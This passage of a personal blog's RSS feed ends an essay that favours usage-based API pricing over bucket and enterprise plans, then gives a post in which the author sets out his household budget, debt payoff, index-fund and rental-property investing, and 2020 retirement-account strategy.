&lt;p>Bucket-based pricing creates an &lt;em>adversarial&lt;/em> relationship between you and the customer because the customer is &lt;em>always&lt;/em> going to pay more for your service than they want to. If the customer only needs to send 2,500 SMS messages, for example, they have no choice but to pay you $50/mo, which is twice as much as they&amp;rsquo;d like to spend, since you don&amp;rsquo;t have a pricing plan that allows them to &lt;em>only&lt;/em> purchase 2,500 SMS credits.&lt;/p>
&lt;p>Because of this, customers who pay for bucket-based services are always getting slighted. The odds of a customer hitting 100% utilization of their plan is very slim, so they&amp;rsquo;re essentially being charged more money for&amp;hellip; Nothing.&lt;/p>
&lt;p>Another side-effect of bucket-based pricing is that it incentivizes customers to &lt;em>use your service less&lt;/em> so they can fall into a lower-tier bucket and minimize spend. This is unfortunate for both you &lt;em>and&lt;/em> your customers because it incentivizes your customers to spend a lot of time and effort carefully planning how to use your service less (so they can maximize their value and fully utilize whatever bucket they&amp;rsquo;re in) while you (the service provider) are going to get less overall usage (and therefore money) than you might have gotten otherwise.&lt;/p>
&lt;p>On the service provider side, however, bucket-based pricing plans continue to be very popular. Some of the reasons companies like to structure their pricing in this way is that:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>It generates more predictable amounts of revenue.&lt;/strong> If you force customers to pay a set amount of money each month to use your service, you can easily predict how much money you&amp;rsquo;re going to make. Venture capitalists love this. In usage-based pricing models, your top-line revenues will fluctuate much more as customer usage ebbs and flows.&lt;/li>
&lt;li>&lt;strong>It increases margins.&lt;/strong> Because bucket-based pricing captures revenue even when customers don&amp;rsquo;t use the service, companies are able to make more money while giving less service. This is great for companies that don&amp;rsquo;t have strong engineering leadership as they can get by with less scalable services, more outages, and poor customer experiences as they&amp;rsquo;ll still be making money regardless of whether or not these issues occur.&lt;/li>
&lt;/ul>
&lt;p>Bucket-based pricing incentivizes service providers to act poorly. Service providers are incentivized to discourage increased usage (to a point) as well as not make frequent updates and fixes to their service as they profit, to some extent, from the &lt;em>lack of use&lt;/em> of their service.&lt;/p>
&lt;p>Customers are also poorly incentivized when using bucket-based pricing plans. Instead of making the most out of an API service and increasing spend over time, they&amp;rsquo;re incentivized to use as little service as possible to minimize spend and maximize value.&lt;/p>
&lt;p>In addition to the obvious, bucket-based pricing plans encourage customers to have a &lt;a href="https://www.psychologytoday.com/us/blog/science-choice/201504/the-scarcity-mindset">scarcity mindset&lt;/a> which may impact the adoption of services.&lt;/p>
&lt;h3 id="problems-with-enterprise-pricing">Problems With Enterprise Pricing&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2020/the-only-type-of-api-services-ill-use/business-man-sketch.png" alt="Business Man Sketch" title="Business Man Sketch">
&lt;/p>
&lt;p>Enterprise pricing is an entire category of pricing models that lock customers into year-long (or multi-year) agreements where prices are fixed for the duration of the agreement and renegotiated when the contract comes up for renewal.&lt;/p>
&lt;p>For example, imagine you&amp;rsquo;re a web hosting company that hosts servers for your customers. An enterprise pricing model might involve you speaking with customers to negotiate prices such that a customer might pay 1M for a two-year contract which gives them the ability to run up to 100 16G RAM servers for the full two-years.&lt;/p>
&lt;p>This model creates an &lt;em>adversarial&lt;/em> relationship between you and the customer. You&amp;rsquo;re incentivized to charge the customer as much as possible, for as little service as possible, for as long as possible. Customers know this, and are often apprehensive about these types of deal negotiations, so they tend to only go through this process if absolutely necessary as it&amp;rsquo;s time-consuming, expensive, and generally understood to be a win-lose scenario (the service provider wins and the customer loses).&lt;/p>
&lt;p>For customers, there really is no winning in an enterprise pricing scenario. Because prices are negotiable and private, this means service providers have an advantage in negotiations since their pricing isn&amp;rsquo;t publicly available. It also means that customers need to be aggressive with their negotiations not just once, but every time a contract is up for renewal. This is time-consuming and expensive for both parties.&lt;/p>
&lt;p>Furthermore, enterprise pricing plans lock customers into expensive long-term agreements that limit their ability to migrate to alternative providers without incurring substantial penalties. If I sign a two-year agreement to spend 1M with Amazon and am later offered the same level of service at half the cost by Google, I&amp;rsquo;ll still be liable for paying Amazon the full value of that initial, two-year contract.&lt;/p>
&lt;p>In my opinion, enterprise pricing is an &lt;em>absolute racket&lt;/em>.&lt;/p>
&lt;p>It&amp;rsquo;s a lot like the way ISPs price their services here in the US. I might call Comcast for internet service at my home and be quoted a discounted rate of $75/mo if I sign a two-year agreement. Then, when my contract is coming up for renewal, the price will suddenly jump to $100/mo. This means each year I&amp;rsquo;ve got to negotiate with them so my costs don&amp;rsquo;t increase substantially.&lt;/p>
&lt;p>And in the case of ISPs like Comcast, what happens if I move? Let&amp;rsquo;s say I move to another address where Comcast doesn&amp;rsquo;t operate&amp;ndash;I&amp;rsquo;m still going to be held liable for paying them for the full duration of my contract, even though I&amp;rsquo;ll be unable to use their services.&lt;/p>
&lt;p>As you can see, it&amp;rsquo;s a win-lose scenario (great for Comcast, terrible for me).&lt;/p>
&lt;p>Another reason I dislike enterprise pricing plans is that they generate a lot of unnecessary waste: the service provider has to hire sales reps to field customer inquiries and negotiate pricing while customers need to waste lots of time and energy going through a sales rep in order to access the service, negotiate pricing, etc.&lt;/p>
&lt;p>Regardless of whether you&amp;rsquo;re a service provider or a customer trying to purchase services, the enterprise pricing model significantly complicates matters as it requires lots more time, effort, and cost to complete a sale.&lt;/p>
&lt;p>In my opinion, just about any type of pricing scheme is better than the enterprise pricing model as it substantially complicates selling and purchasing products &amp;ndash; something that is rarely necessary.&lt;/p>
&lt;h2 id="my-thoughts-on-api-pricing">My Thoughts On API Pricing&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-only-type-of-api-services-ill-use/thinking-man-sketch.png" alt="Thinking Man Sketch" title="Thinking Man Sketch">
&lt;/p>
&lt;p>As both a consumer and provider of API services, the only type of pricing plan I&amp;rsquo;ll use is usage-based pricing with automatic volume discounts. There are no negotiations, no misaligned incentives for either party, and nobody is being slighted.&lt;/p>
&lt;p>When I&amp;rsquo;m evaluating potential API services, if they don&amp;rsquo;t have a usage-based pricing model I&amp;rsquo;ll immediately move on and look for other solutions. Other pricing models are a hard &lt;em>no&lt;/em> for me as they incentivize poor behavior and put me in an adversarial position with whatever service provider I&amp;rsquo;m looking to utilize.&lt;/p>
&lt;p>As a service provider, I &lt;em>love&lt;/em> using usage-based pricing models as it means I can focus all my energy and effort on what I do best: running a service. It lets me focus on the quality of my service above everything else. Usage-based pricing also allows me to scale my service&amp;rsquo;s revenues without hiring a large fleet of sales reps.&lt;/p>
&lt;p>As my service gets better and usage increases, I make more money. Having a usage-based pricing model with automatic volume discounts incentivizes my users to use &lt;em>more&lt;/em> of my service, thereby increasing revenues while making everyone happy.&lt;/p>
&lt;p>And, in addition to all the other reasons why I believe usage-based pricing is the way to go, there&amp;rsquo;s another one that isn&amp;rsquo;t as easy to quantify: &lt;em>it just makes sense&lt;/em>.&lt;/p>
&lt;p>API services exist to allow developers to outsource bits and pieces of their application logic. In my mind, API services are essentially the utility companies of the web.&lt;/p>
&lt;p>And if you think of API services as utility companies, it only makes sense that they should charge based on usage. After all, imagine what would happen if you had to sign a two-year contract stipulating how much electricity you&amp;rsquo;re going to use at home, or if you had to choose a bucket plan for electricity that forced you to purchase a set amount of kilowatt-hours of electricity.&lt;/p>
&lt;p>I&amp;rsquo;m confident that in either scenario you would be upset because you&amp;rsquo;d almost certainly be paying for more electricity than you used.&lt;/p>
&lt;p>With all that said, if you&amp;rsquo;re thinking about how you should be pricing an API service, please consider usage-based pricing with automatic volume discounts. I believe that, more than any other pricing scheme, this will help set you and your customers up for success as well as a long, healthy business relationship.&lt;/p></description></item><item><title>My Personal Financial Strategy</title><link>https://rdegges.com/2020/my-personal-financial-strategy/</link><pubDate>Fri, 17 Jan 2020 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2020/my-personal-financial-strategy/</guid><description>&lt;p>I&amp;rsquo;ve always been fascinated by money: how people earn it, spend it, and invest it. What fascinates me most about personal finance is how &lt;em>personal&lt;/em> it is. Everyone has different goals and desires, and everyone has to pick and choose what to do with the limited resources they have.&lt;/p>
&lt;p>When I turned 24 (I&amp;rsquo;m 31 today at the time of me writing this) I took a serious look at my finances and decided to get my act together. Up until that point I had only a vague idea that I wanted to have a lot of money someday, but I had no real strategy or plan and had essentially no knowledge whatsoever about managing finances. Since then I&amp;rsquo;ve read a number of books, blogs, and articles as well as listened to thousands of podcast episodes and watched hundreds of YouTube videos on the subject.&lt;/p>
&lt;p>Today I&amp;rsquo;m going to outline the personal financial strategy that my wife and I follow in hopes that it inspires you to give a bit more thought and consideration to your own personal financial strategy. I&amp;rsquo;m not saying our approach is perfect (it certainly isn&amp;rsquo;t), but I believe sharing information like this can be motivating and educational.&lt;/p>
&lt;p>For the sake of transparency, everything I&amp;rsquo;ve outlined below is &lt;em>exactly&lt;/em> what we do with our money. We have a &lt;em>substantial&lt;/em> amount of money invested exactly as described and allocated below.&lt;/p>
&lt;h2 id="financial-goals">Financial Goals&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/my-personal-financial-strategy/skeleton-with-money-sketch.jpg" alt="Skeleton with Money Sketch" title="Skeleton with Money Sketch">
&lt;/p>
&lt;p>The most important part of building a personal financial strategy is deciding what your goals are.&lt;/p>
&lt;p>If your goal is to have 10 million dollars, that&amp;rsquo;s fine &amp;ndash; but it means that you&amp;rsquo;re going to have to make dramatically different day-to-day decisions than you would if your goal is to save 100k.&lt;/p>
&lt;p>Regardless of your circumstances, coming up with an explicit goal is, without question, the most important thing you&amp;rsquo;ll ever do financially. I can&amp;rsquo;t overstate this enough.&lt;/p>
&lt;p>If you have an explicit financial goal (e.g., save 100k over the next year), you can easily figure out what you need to do to hit it (e.g., save 8.3k per month). After that, all you need to do is execute the plan! It may not be easy, but at least you&amp;rsquo;ll have something to work towards and a crystal clear idea of whether or not you&amp;rsquo;re on track.&lt;/p>
&lt;p>My financial goals over the years have fluctuated quite a lot.&lt;/p>
&lt;ul>
&lt;li>When I first left university, my goal was to pay off my student loans&lt;/li>
&lt;li>When I first bought a car, my goal was to pay off my car loan&lt;/li>
&lt;li>When I decided to get married, my goal was to pay for the ring and wedding&lt;/li>
&lt;li>When I moved into my first apartment, my goal was not to live paycheck to paycheck any longer&lt;/li>
&lt;li>When I started working my first real job, my goal was to put a certain amount of money into retirement&lt;/li>
&lt;li>When I bought my first house, my goal was to pay it off&lt;/li>
&lt;li>Etc.&lt;/li>
&lt;/ul>
&lt;p>As my wife and I have learned more and become more sophisticated in managing our finances, our goals have changed considerably.&lt;/p>
&lt;p>Today, our financial goals are quite a bit different:&lt;/p>
&lt;ol>
&lt;li>Save 100% of our earned income (the money that my wife and I earn from our day jobs)&lt;/li>
&lt;li>Max out all retirement accounts&lt;/li>
&lt;li>Save enough so we can passively withdraw up to 10x our lifestyle expenses each year&lt;/li>
&lt;/ol>
&lt;p>We&amp;rsquo;ve been fortunate enough to be able to accomplish items &lt;strong>#1&lt;/strong> and &lt;strong>#2&lt;/strong> for several years now and are steadily working towards &lt;strong>#3&lt;/strong>.&lt;/p>
&lt;p>I&amp;rsquo;ve found that, in particular, setting goals around your &lt;strong>total debt&lt;/strong> (how much money you owe to other people), &lt;strong>savings rate&lt;/strong> (what percentage of money are you able to save from your income each year), &lt;strong>net worth&lt;/strong> (how much are you worth taking all of your assets and liabilities into account), and &lt;strong>safe withdrawal rate&lt;/strong> (how much money can you safely withdraw from your portfolio every year without dwindling your principal) are very motivating.&lt;/p>
&lt;p>For example, if you&amp;rsquo;re just starting to pay attention to your finances and have some debt, a good first goal might be to reduce your debt from 100k to 50k. If you&amp;rsquo;re past that phase of life, maybe a good goal would be to save 15% of your take-home pay.&lt;/p>
&lt;p>If you&amp;rsquo;re further along in your savings journey, setting goals around your net worth (e.g., I want to increase my net worth by 50k) or your safe withdrawal rate (e.g., I want to be able to safely withdraw 1k per month from my investments, indefinitely) can be fun as well.&lt;/p>
&lt;p>The farther along you are and the more money you&amp;rsquo;ve saved, the more interesting your goals become.&lt;/p>
&lt;h2 id="financial-priorities">Financial Priorities&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/my-personal-financial-strategy/skeletons-with-guns-sketch.jpg" alt="Skeletons with Guns Sketch" title="Skeletons with Guns Sketch">
&lt;/p>
&lt;p>Once your goals are in place, you have to organize them by priority. This is my favorite part!&lt;/p>
&lt;p>Here&amp;rsquo;s what my list of financial priorities looks like, in order of importance:&lt;/p>
&lt;ol>
&lt;li>Create and stick to a &lt;em>realistic&lt;/em> monthly budget&lt;/li>
&lt;li>Pay off all consumer debt (cars, etc.)&lt;/li>
&lt;li>Pay off all non-consumer, non-mortgage debt (student loans, medical expenses, etc.)&lt;/li>
&lt;li>Save an emergency fund of 1 year&amp;rsquo;s worth of expenses&lt;/li>
&lt;li>Pay off all mortgage debt (primary residence)&lt;/li>
&lt;li>Invest as much income as possible, split equally between real estate and index funds (more on this later)&lt;/li>
&lt;/ol>
&lt;p>As you can probably tell from the list above, we&amp;rsquo;re pretty conservative with money. I really hate having debt, so my priority has &lt;em>almost&lt;/em> always been to be free and clear of all debt, even if that meant investing less money and having less liquid assets.&lt;/p>
&lt;p>If you&amp;rsquo;re less conservative with your money choices, maybe you wouldn&amp;rsquo;t mind keeping mortgage debt around, for example. Maybe you would instead prefer to invest the extra money you have instead of paying down a mortgage. These types of choices are all fine, there is no right or wrong way to do it; it really just comes down to your values: &lt;em>what do you care about most&lt;/em>?&lt;/p>
&lt;p>One tip I have for figuring out how to prioritize your financial goals is this: try to diversify your risk. In my professional career, I&amp;rsquo;ve taken a lot of risks: running my own companies, working at startups, and putting myself into very volatile positions that are high-risk, high-reward. Because of this, I&amp;rsquo;ve strategically decided to be conservative with my money to balance my overall risk portfolio.&lt;/p>
&lt;p>If you&amp;rsquo;re in a less risky career path, maybe you can afford to be more aggressive with your financial plans: keep debt around longer, focus more on high-growth investments, etc.&lt;/p>
&lt;h2 id="budget">Budget&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/my-personal-financial-strategy/abacus-sketch.png" alt="Abacus Sketch" title="Abacus Sketch">
&lt;/p>
&lt;p>After setting goals, having a budget is the next most important thing in a financial plan. If you don&amp;rsquo;t know how much money you&amp;rsquo;re spending and set some guidelines around how much you&amp;rsquo;re &lt;em>going to spend&lt;/em>, you&amp;rsquo;re in trouble.&lt;/p>
&lt;p>If you don&amp;rsquo;t track your money already, I highly recommend signing up for a free account at &lt;a href="https://www.mint.com/">mint&lt;/a>. It lets you sync all of your financial information across bank accounts, loan accounts, credit card accounts, etc., as well as build budgets and see how you&amp;rsquo;re doing. I use it almost every day.&lt;/p>
&lt;p>Here&amp;rsquo;s what our monthly budget looks like today:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2020/my-personal-financial-strategy/our-monthly-budget.png" alt="Our Monthly Budget" title="Our Monthly Budget">
&lt;/p>
&lt;p>There are two additional things that aren&amp;rsquo;t included in this image: the amount we spend on taxes and insurance for our home and a bit of money we set aside each month for future home upgrades/repairs. All together, our monthly budget allocates &lt;strong>$4,000&lt;/strong> for spending.&lt;/p>
&lt;p>While I don&amp;rsquo;t think we&amp;rsquo;ve ever hit exactly the 4k mark, we&amp;rsquo;re always somewhere near this number: a little lower or a little higher, depending on how each month goes. Last month, for example, we spent a little more on shopping as my wife and I purchased gifts around the holiday. Next month we&amp;rsquo;ll spend a little less on shopping to make up for it.&lt;/p>
&lt;p>The most important thing is knowing where your money is going and making conscious decisions about what you value and where you want to allocate your resources. &lt;strong>Not paying attention to what you do with your money is the number one reason people don&amp;rsquo;t reach their financial goals.&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Side Story&lt;/strong>: When I first left university and got married, my wife and I didn&amp;rsquo;t really track our spending. After the first year or two of marriage we had paid off all our debt (which was mostly my car and student loans), but once the debt was gone, neither of us talked about budgeting or what we wanted to do with our money. We basically just lived our lives without thinking about money.&lt;/p>
&lt;p>After a couple of years of this I remember logging into mint and looking at our net worth. Over a timespan of 2 or so years, our net worth hadn&amp;rsquo;t gone up at all. It had essentially stayed around the ~10k range.&lt;/p>
&lt;p>At first, I was really confused. Both of us were working full-time and earning reasonable amounts of money for young people fresh out of school &amp;ndash; why didn&amp;rsquo;t we have more money? After digging into where the money went (thanks mint!), I came to the scary realization that because we hadn&amp;rsquo;t planned what we wanted to do with our money: we ended up blowing it on insignificant things.&lt;/p>
&lt;p>We hadn&amp;rsquo;t spent a lot of money on any one thing &amp;ndash; it was a combination of small things that got us. Going out for too many fancy dinners, buying a few too many new electronics, purchasing more gifts for our friends and family, etc.&lt;/p>
&lt;p>What I learned that day scared me: we had worked ~2 full years of our life (in our prime!) and had literally &lt;em>nothing&lt;/em> to show for it. All that hard work had gone to purchase frivolous stuff that we couldn&amp;rsquo;t even remember!&lt;/p>
&lt;p>This was the moment that really made me understand how important it is to have a plan for your money. The thought of going to work every day, pushing myself to be my best, and pouring my heart and soul into my passion, all while essentially getting no reward was terrifying.&lt;/p>
&lt;h2 id="debt-or-a-lack-thereof">Debt (Or a Lack Thereof)&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/my-personal-financial-strategy/grim-reaper-in-bed-sketch.jpg" alt="Grim Reaper in Bed Sketch" title="Grim Reaper in Bed Sketch">
&lt;/p>
&lt;p>I mentioned this above, but I &lt;em>really dislike&lt;/em> having debt. I really enjoy the freedom that comes with not having to worry about making payments to someone else every month. Keeping my recurring monthly expenses low makes me feel stress-free, and that&amp;rsquo;s something I value highly.&lt;/p>
&lt;p>Early on in my life, I made a lot of dumb financial decisions. I took on a massive amount of student loan debt, purchased a new car with financing, and routinely spent all (or almost all) of my income every month, frivolously.&lt;/p>
&lt;p>When I first started tracking my finances and net worth and saw how low my net worth was (&lt;strong>-100k&lt;/strong> or so), I immediately got serious about paying off my debt. I spent the first few years of my professional life living frugally and putting as much money towards my debt as possible.&lt;/p>
&lt;p>It was really motivating for me to knock off my smaller student loans (5k here, 7k there), and watch my monthly commitments drop down to zero.&lt;/p>
&lt;p>A few years ago, when Sami and I decided to purchase a house for the first time, the biggest driving force I had was to stop shelling out money in rent every month, as every year our rent would increase and our monthly commitments would grow.&lt;/p>
&lt;p>Initially, we purchased our home on a 30-year fixed mortgage, as I figured that way I&amp;rsquo;d be able to lock in a monthly housing payment every month. My thought process at the time was that it was better to have a fixed housing payment as opposed to a variable amount of rent. Our plan at the time was to make the minimum monthly payments for 30 years and invest all our spare money each month.&lt;/p>
&lt;p>Unfortunately, it wasn&amp;rsquo;t long after we purchased the house that I realized we had made a mistake: the thought of having a large mortgage payment every month for the next 30 years made me feel really stressed, so we decided to allocate our resources towards paying it off instead. It was a hard decision, but just before the 2-year mark of owning our home we made the final payment and wiped the mortgage out of our lives.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Leading up to us paying our home off, we sold a car, cut back on spending, tightened our budget up, and poured &lt;em>huge&lt;/em> amounts of money into paying down the home loan as quickly as possible. I realize this isn&amp;rsquo;t possible for everyone, but the concepts are still relevant, even if it takes you longer to make it happen.&lt;/p>
&lt;p>While many people keep a mortgage for as long as possible and invest their spare cash, I find it more rewarding (and less risky) to pay off the debt, even if it&amp;rsquo;s at a relatively low, fixed rate. For me, the benefits of not having any payments greatly outweighs the drawbacks of having reduced liquidity and more invested assets.&lt;/p>
&lt;p>Regardless of your stance on debt, figuring out what types (and the amount) of debt you&amp;rsquo;re comfortable with is an important step in developing a financial plan. If you&amp;rsquo;re on the fence about whether or not to buy a car and take out a big loan, for example, thinking through how comfortable you are incurring increased monthly commitments is a great way to align yourself with your goals.&lt;/p>
&lt;h2 id="investing">Investing&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/my-personal-financial-strategy/rich-skeleton-sketch.jpg" alt="Rich Skeleton Sketch" title="Rich Skeleton Sketch">
&lt;/p>
&lt;p>I started investing when I turned 24 and started paying closer attention to my personal finances. When I first got started, I had no idea what I was doing, but through lots of books, podcasts, online blogs, forums, and YouTube videos, I slowly developed the investing strategy that my wife and I follow today.&lt;/p>
&lt;p>Our strategy today is simple: we split our investable money into two asset classes: &lt;em>real estate&lt;/em> and &lt;em>index funds&lt;/em>. Our goal is to invest in each of these asset classes equally, but for reasons I&amp;rsquo;ll explain momentarily, we haven&amp;rsquo;t yet been able to achieve that.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you aren&amp;rsquo;t familiar with the concept of index funds, I&amp;rsquo;ll explain it briefly: index funds are funds which allow you to purchase a little bit of every company in a given index. For example, you can buy a little bit of every company in the US stock market. Index fund investing has been shown to outperform more expensive, actively managed funds, in almost every scenario. If you&amp;rsquo;d like to learn more, &lt;a href="https://www.thebalance.com/index-funds-vs-actively-managed-funds-2466445">this article&lt;/a> is a great, brief introduction.&lt;/p>
&lt;p>Out of the 50% of our money that is invested in index funds, our allocation is as follows:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>70% VTSAX&lt;/strong> (&lt;a href="https://investor.vanguard.com/mutual-funds/profile/VTSAX">total stock market index fund, USA&lt;/a>)&lt;/li>
&lt;li>&lt;strong>25% VTIAX&lt;/strong> (&lt;a href="https://investor.vanguard.com/mutual-funds/profile/vtiax">total stock market index fund, international&lt;/a>)&lt;/li>
&lt;li>&lt;strong>5% VCADX&lt;/strong> (&lt;a href="https://investor.vanguard.com/mutual-funds/profile/overview/vcadx">California tax-exempt municipal bond index fund&lt;/a>)&lt;/li>
&lt;/ul>
&lt;p>The above allocation is quite aggressive: &lt;strong>95%&lt;/strong> of our allocation here goes towards stock funds (which are generally volatile) while only &lt;strong>5%&lt;/strong> of our money is allocated towards relatively safe, lower-yielding municipal bonds.&lt;/p>
&lt;p>We&amp;rsquo;ve got 70% allocated towards the US stock market because that&amp;rsquo;s where we live, and historically, the US stock market has averaged a relatively high rate of growth. We&amp;rsquo;ve got 25% allocated towards the international markets to help reduce volatility in our US stock portfolio, as well as to capture growth in non-US markets. Finally, we&amp;rsquo;ve got 5% of our money in tax-exempt California bonds because we live in California, are in a relatively high tax bracket, and want to invest a little of our money in the state where we live and grew up.&lt;/p>
&lt;p>We don&amp;rsquo;t have any money allocated towards alternative investments like precious metals as those items are purely speculative. I am of the opinion that investing in assets that produce value (companies, loans, etc.) will, in the long run, pay off more than simply hoping that someone else values a piece of metal more in a few years than they do now.&lt;/p>
&lt;p>We also don&amp;rsquo;t have any money invested in single stocks as that&amp;rsquo;s a bit too risky for our tastes. I dislike the thought of having a large amount of money tied up in any single company &amp;ndash; what happens if that company makes poor decisions or has a massive problem (like Boeing with their 737 MAX 8)? Having our money bound to a single company&amp;rsquo;s future is far too risky for us.&lt;/p>
&lt;p>In regards to real estate, we own a small portfolio of single-family houses that we rent out via a property management company. These houses are all fully-owned (they have no mortgages). They provide a steady stream of rent payments and provide a base-level of passive income that my wife and I use to cover our living expenses each month.&lt;/p>
&lt;p>One of the reasons we try to split our investments between index funds &lt;em>and&lt;/em> real estate is that, while owning index funds is generally going to make more money in the long run (and is also far simpler and less time consuming), I enjoy the real estate industry as well as the stability that comes with it.&lt;/p>
&lt;p>While stock values might swing wildly from day to day, a tenant&amp;rsquo;s rental agreement will rarely change. In our case, the homes we own provide a reliable source of consistent income that gives us a certain level of comfort.&lt;/p>
&lt;p>In addition to the consistency of real estate returns, one of the other reasons we put money into physical real estate is that, as an investor, you can often find good deals on real estate purchases. While it&amp;rsquo;s essentially impossible to find a good deal on a company&amp;rsquo;s stock, there are tons of great bargains to be had in the real estate market at any given time.&lt;/p>
&lt;p>For various reasons, real estate can be an attractive investment:&lt;/p>
&lt;ul>
&lt;li>You can often pay less for a property than it is worth&lt;/li>
&lt;li>You can purchase a property in poor condition, fix it up, and add value to it that wasn&amp;rsquo;t there before&lt;/li>
&lt;li>You can purchase real estate that isn&amp;rsquo;t performing well and make it perform better through renovations, improved management, etc.&lt;/li>
&lt;li>There are various tax advantages to owning real estate which don&amp;rsquo;t exist for other types of investments&lt;/li>
&lt;/ul>
&lt;p>In all of these scenarios, you&amp;rsquo;re able to improve your returns by putting in some effort &amp;ndash; something that&amp;rsquo;s essentially impossible to do with stock market investments.&lt;/p>
&lt;p>Unfortunately, however, because purchasing real estate takes a lot of knowledge, effort, and time: it&amp;rsquo;s been difficult to balance our portfolio towards our desired 50/50 ratio. The way we&amp;rsquo;re handling this at the moment is to simply keep investing excess money in index funds until we find suitable properties to purchase, at which point we&amp;rsquo;ll simply liquidate some of our holdings and make a purchase, thereby getting us closer to the 50/50 ratio we&amp;rsquo;re aiming for.&lt;/p>
&lt;h2 id="retirement">Retirement&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/my-personal-financial-strategy/skeleton-praying-sketch.jpg" alt="Skeleton Praying Sketch" title="Skeleton Praying Sketch">
&lt;/p>
&lt;p>While I&amp;rsquo;ve already shared our specific financial strategies, one thing I haven&amp;rsquo;t yet covered is how we optimize our retirement investing. In the US, there are several ways you can invest money in tax-advantaged accounts.&lt;/p>
&lt;p>FIrst of all, let&amp;rsquo;s talk about IRAs (individual retirement accounts). In &lt;a href="https://www.irs.gov/retirement-plans/plan-participant-employee/retirement-topics-ira-contribution-limits">2020&lt;/a> (the year I&amp;rsquo;m writing this article), you&amp;rsquo;re allowed to contribute up to 6k per year into a Roth IRA account (7k if you&amp;rsquo;re 50 or older). Money invested in a Roth IRA account will grow tax-free, and whenever you retire, that money can be withdrawn from the account tax-free as well.&lt;/p>
&lt;p>To take advantage of the Roth IRA, every year towards the end of the year we set aside 12k so that on January 1st we can each contribute 6k to a traditional IRA account, which we later convert into a Roth IRA to bypass the income qualification limits. This is known as the &lt;a href="https://www.nerdwallet.com/blog/investing/backdoor-roth-ira-high-income-how-to-guide/">backdoor Roth&lt;/a>. This gives us &lt;strong>12k&lt;/strong> per year of tax-advantaged investments.&lt;/p>
&lt;p>Next, there&amp;rsquo;s the 401k. 401k plans allow you to stock away &lt;a href="https://www.shrm.org/resourcesandtools/hr-topics/benefits/pages/2020-irs-401k-contribution-limits.aspx">up to 57k&lt;/a> worth of money for retirement each year (63.5k if you&amp;rsquo;re 50 or older) with various types of tax advantages.&lt;/p>
&lt;p>Because my wife and I are both full-time employees of companies, and because our companies have 401k plans that allow us to contribute to all the different types of 401k accounts, we max our 401ks out each year by first contributing 19.5k each to our traditional 401k accounts (the &lt;a href="https://www.shrm.org/resourcesandtools/hr-topics/benefits/pages/2020-irs-401k-contribution-limits.aspx">max limit in 2020&lt;/a> for people less than 50 years old). After that, we contribute the remaining 37.5k into an after-tax 401k account (which does not have any tax advantages), which we then instantly convert into a Roth 401k account (which means that our money will grow tax-free and we&amp;rsquo;ll be able to withdraw it tax-free when we retire). This strategy is often referred to as the &lt;a href="https://www.madfientist.com/after-tax-contributions/">Mega Backdoor Roth&lt;/a>.&lt;/p>
&lt;p>This gives us &lt;strong>114k&lt;/strong> per year of tax-advantaged investments.&lt;/p>
&lt;p>I also own a consulting business where I occasionally do consulting work around the telephony, web security, and developer services industries. Because I run this company as a business, I&amp;rsquo;m also able to invest a portion of my net profits into a &lt;a href="https://www.irs.gov/retirement-plans/retirement-plans-faqs-regarding-seps-establish-a-sep">SEP-IRA&lt;/a> (a special type of retirement account for small businesses). This plan allows me to stock away an additional 57k worth of tax-advantaged money each year.&lt;/p>
&lt;p>All in all, we&amp;rsquo;re able to make a total of &lt;strong>$183,000&lt;/strong> worth of tax-advantaged contributions each year into our retirement accounts. That is a &lt;em>massive amount&lt;/em> of tax-optimized investments.&lt;/p>
&lt;p>And while you may not have a ton of money to throw into retirement accounts, I strongly suggest that with whatever earned income you do have available to save, you invest it into tax-advantaged retirement accounts before you do any additional (non-retirement) investing.&lt;/p>
&lt;p>By prioritizing tax-advantaged retirement accounts you&amp;rsquo;ll reduce your tax burden each year and get more out of your investments in the long run.&lt;/p>
&lt;h2 id="resource-allocation">Resource Allocation&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/my-personal-financial-strategy/skeleton-hand-with-money-sketch.png" alt="Skeleton Hand with Money Sketch" title="Skeleton Hand with Money Sketch">
&lt;/p>
&lt;p>The last thing I want to discuss about my personal financial strategy is &lt;em>resource allocation&lt;/em>. Nobody has unlimited resources. Even Jeff Bezos and Bill Gates have to decide where to allocate their time and money.&lt;/p>
&lt;p>One of the most impactful things you can do to help get your finances in order is to determine &lt;em>what&amp;rsquo;s important to you&lt;/em>, then invest in that. For example, if your passion in life is biking, maybe allocating a large chunk of your take-home pay for biking gear makes sense. While it would be silly for me to spend a large chunk of my take-home pay on biking gear, if it&amp;rsquo;s something important to you, that money isn&amp;rsquo;t being wasted.&lt;/p>
&lt;p>In my case, I spend a lot of money on technology. I&amp;rsquo;m a programmer and am completely obsessed with technology, so while I spend almost no money on other hobbies or projects, I do end up purchasing one or two new devices every year to play around with. I also spend a lot of money on hobby software projects: domains, web hosting, etc. These things keep me happy and are what I save money &lt;em>for&lt;/em>.&lt;/p>
&lt;p>Investing shouldn&amp;rsquo;t be the goal, it should simply be a means to an end. Investing allows you to do more of the things you value.&lt;/p>
&lt;h2 id="my-financial-strategy-summarized">My Financial Strategy Summarized&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/my-personal-financial-strategy/jack-skellington-with-pumpkin-sketch.jpg" alt="Jack Skellington with Pumpkin Sketch" title="Jack Skellington with Pumpkin Sketch">
&lt;/p>
&lt;p>If I had to summarize my personal financial strategy, it would be:&lt;/p>
&lt;ul>
&lt;li>Work hard&lt;/li>
&lt;li>Don&amp;rsquo;t go into debt&lt;/li>
&lt;li>Save and invest as much money as possible&lt;/li>
&lt;li>But don&amp;rsquo;t be afraid to spend money on the things you care about most&lt;/li>
&lt;/ul>
&lt;p>Anyhow, I hope this has been interesting to you. Managing your finances can be fun, and in many ways liberating.&lt;/p>
